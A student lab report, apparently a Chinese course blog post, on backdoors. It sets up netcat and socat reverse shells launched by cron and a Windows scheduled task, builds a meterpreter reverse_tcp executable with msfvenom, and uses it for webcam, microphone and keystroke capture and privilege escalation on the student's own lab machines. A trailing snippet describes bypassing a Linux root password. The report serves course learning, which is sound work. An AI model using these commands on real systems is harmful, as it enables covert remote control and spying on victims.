1 实验内容

1.1实验主要内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

1.2 基础问题

1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?

可能会在一些非正规的网站下载资源,下载得到的文件里面可能会包含有后门;在钓鱼网站上点击不安全的链接;陌生人发来的邮件中,不明的文件或者链接。

1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?

在windows中可以通过直接双击后门程序执行,也可以像实验中通过任务计划程序启动后门,如果它添加到了自启动项目,在开机的时候会启动,如果它跟其他软件捆绑在一起,运行其他软件也会一起被启动;在linux中可以像实验中,通过cron指令制定任务来启动程序。

1.2.3 Meterpreter有哪些给你映像深刻的功能?

获取摄像头的照片,还有记录键盘的功能很深刻,通过meterpreter的功能,我自己体验了一回在电影斯诺登档案里面,经过别人电脑的摄像头观察到的画面,令人震惊,我决定要把自己电脑的摄像头也蒙住;文件记录功能,我做实验的时候,尝试了一次在文本文档里输入,又不太相信任何键盘输入都能记录,当时做实验的时候正在截图,然后就试了一下在另存为的对话框里重命名,没想也全部记录了,真的很强大。

1.2.4 如何发现自己有系统有没有被安装后门?

最能想到就是用现在市面上各种各样的杀毒软件进行查杀,因为在做实验的时候把防火墙和杀毒软件关了,所以后门程序一直在,但是我发现,当做完实验把杀毒软件一开,后门程序就很容易被删除了;还可以通过观察注册表什么的,有没有back door有关信息来发现。

1.3 实验准备

1.3.1 获取IP地址

在Windows的cmd中使用命令  ipconfig 查看IP地址。

由图可知,Windows的IP地址为192.168.1.212。

在linux的终端中使用命令 ifconfig 查看IP地址。

由图可知,linux的IP地址为192.168.1.121。

1.3.2 Windows获得linux的shell

Windows用命令 ncat.exe -l -p 监听4302端口,等待其他机器连接该端口。

kali使用命令 nc 192.168.28.166 -e /bin/sh 反弹连接Windows,提供自己的shell。

Windows获得了linux的shell,可以执行linux的相关命令,例ls。

1.3.3 linux获得Windows的shell

与上面的步骤相似,在linux中用命令 nc -l -p 设置监听本地4302端口。Windows使用命令 ncat.exe -e cmd.exe 192.168.1.121 反弹连接linux,提供自己的shell。

linux获得Windows的shell,可以执行相关命令,例dir。

1.3.4 传输数据

Windows监听4302端口 ncat.exe -l ,linux连接Windows的4302端口 nc 192.168.1.212 ,然后两台机器就可以互相传输信息了。

1.3.5 实验环境

为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。

2 实验步骤

2.1 使用netcat获取主机操作Shell,cron启动

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

crontab文件的含义:

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

2.1.1 设置定时启动

用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“3”,利用vim编辑器进行编辑。

点击“i”进入编辑模式,在最后一行添加  * * * * /bin/netcat 192.168.1.212 -e /bin/sh ,意思是每小时的33分会反向连接Windows的4302端口。

按Esc键退出编辑模式,输入 :wq 保存并退出。

截个图,等个3分钟,到33分后,Windows获得linux的shell,可执行相关命令,例ls。

2.2 使用socat获取主机操作Shell, 任务计划启动

在Windows下,打开:控制面板->管理工具->任务计划程序。

在操作选项中,选择“创建任务”,填写任务名称20164302。

新建触发,选择开始任务时间为:工作站锁定时。

新建操作,选择启动的程序为socat.exe,参数项填写 tcp-listen: exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。

创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。

在kali终端输入指令 socat - tcp:192.168.1.121:

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT= -f exe > 20164302_backdoor.exe

注:这里设置的主机IP和端口均为linux的IP、端口

2.3.2 将生成的后门传送到Windows主机上

在Windows上运行 ncat.exe -lv > 20164302_backdoor.exe 指令,等待接受后门程序。

图中前两行是Windows正在监听,后两行是在kali上运行 nc 192.168.1.212 < 20164302_backdoor.exe 命令,将后门程序传输到Windows主机上在显示的。

PS:这里突然想试一下从其他湍口传输可不可以,用的端口号是高中的学号,也成功完成了后门程序的传输。

2.3.3 进入msf控制台进行配置

在kali上使用 msfconsole 命令,进入msf控制台。

use exploit/multi/handler              //进入handler模块

set payload windows/meterpreter/reverse_tcp   //对应生成的后门程序设置payload

输入 show options 查看利用模块的设置信息。

设置主机IP和端口

set LHOST 192.168.1.121              //配置模块的设置信息,这里是设置本主机kali的IP

set LPORT                    //设置本主机的端口

再次使用 show options 查看设置。

输入 exploit 运行模块。

在Windows上运行后门程序20164302_backdoor.exe。

查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取目标主机音频、摄像头、击键内容等内容

获取目标主机的音频和截屏内容

record_mic    //音频

screenshot    //截屏

使用命令 webcam_snap 可以获取摄像头所拍摄的照片。

这就是获得的摄像头照片,简直是猝不及防,本年度最囧自拍。。。。

在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令 keyscan_dump ,就可以读取键盘记录。

第一次的时候,没有在Windows在进行任何输入,就直接keyscan_dump了,然后,就什么也没有输出。

之后又进行了尝试,在Windows上新建了一个文本文档,随便输入了一串字符。

可以看到输出的内容是一致的,至于“38”,是想看一下其他形式的键盘记录,这是当时在截图,对图片进行另存为操作,在对话框中输入的编号,也成功记录了。

2.4.2 提权

先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。 然后发现提权失败。。。还不甘心的多试了几次

然后问了一下我们小组的组长,他也有同样的问题,上网搜索,发现需要以管理员身份运行后门程序,才能提权。

所以,exit一下,到后门程序所在文件夹ncat,找到20164302_backdoor.exe,右键,以管理员身份运行,然后再试一次,成功提权。

3 实验感想

通过本次的实验,对于后门的原理有了进一步的认识,对后门的形成、植入并利用后门进行攻击等操作有了初步的了解,自己的水平还不够高,所以实验还是参照学长学姐和其他同学的博客进行的,虽然实验做完了但实验步骤中一些详细内容我还没有理解,需要继续花时间弄懂,整体感觉上,这次的实践内容比上次的实验稍微轻松了一些,也比较好玩,过程中充满了乐趣,希望通过一次次有趣的实验,不仅能学到东西,也能提高自己对这门课的兴趣,把这门课真正的学好。

Exp2 后门原理与实践 20164302 王一帆的更多相关文章

  1. Exp3 免杀原理与实践 20164302 王一帆

    1 实践内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程( ...

  2. 20155204 王昊《网络对抗技术》EXP2 后门原理与实践

    20155204 王昊<网络对抗技术>EXP2 后门原理与实践 一.实验内容 准备工作(试用ncat.socat) 1. 使用netcat获取主机操作Shell,cron启动. 明确目标: ...

  3. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  4. 2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp2 后门原理与实践 课上知识点梳理总结 1.后门的概述 后门是指不经过正常认证流程而访问系统的通道 两个关键词:未认证.隐通道 ...

  5. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  6. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  7. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  8. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  9. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

随机推荐

  1. Linux忘记root密码 单用户模式 及启动加密

    单用户模式: 在系统启动引导读秒时,按任意键进入系统选项 再按  e  键   选择第二项  按 e  进入编辑  输入  空格  1 然后回车  再按B  键 不需要密码即可进入系统 再passwd ...

  2. python中opencv的安装

    1.得到opencv的安装包: 2.把安装包中的cv.py, cv2.pd放到一个文件夹中,并把这个文件夹放到D:\Anaconda2\Lib\site-packages中: 3.添加新的变量,变量名 ...

  3. css实现背景模糊,但不影响背景上的内容

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. 【5】学习C++之类的概念

    C++ 中的类(Class)可以看做C语言中结构体(Struct)的升级版.结构体是一种构造类型,可以包含若干成员变量,每个成员变量的类型可以不同:可以通过结构体来定义结构体变量,每个变量拥有相同的性 ...

  5. MariaDB Galera Cluster部署实践

    原理 官方地址:http://galeracluster.com/documentation-webpages/index.html Galera Cluster与传统的复制方式不同,不通过I/O_t ...

  6. 高德JSAPI获取当前所在位置的经度纬度

    这是在浏览器中的效果: 控制台打印出来的就是经度纬度的值 代码如下: <!doctype html> <html> <head> <meta charset= ...

  7. MySQL之排序、分组(五)

    一.排序 格式:select * from 表 order by 字段 asc|desc 1.查询所有的商品进行排序(升序asc.降序desc) mysql> select * from pro ...

  8. layUI 实现自定义弹窗

    需求描述:点击表格中的数据,弹出一张具体信息表.描述的不是很清楚,放效果图,就明白了,上图 放心,能看到的数据,都不是生产数据,我造的假数据,但是功能效果就是这样,点击列表中的一行,弹出某些要展示的信 ...

  9. Hadoop第一式:配置Linux环境之免密配置及SSH原理

    一.配置SSH免密登录 进入/.ssh目录,执行密钥生成指令 ssh-keygen -t rsa (rsa为默认加密格式) 然后会出现四个提示,让你选择密钥保存路径.指纹.拍照啥的,不用管它直接回车过 ...

  10. SLAM学习--开源测试数据集合

    Tum RGB-D SLAM Dataset and Benchmark https://vision.in.tum.de/data/datasets/rgbd-dataset Kitti http: ...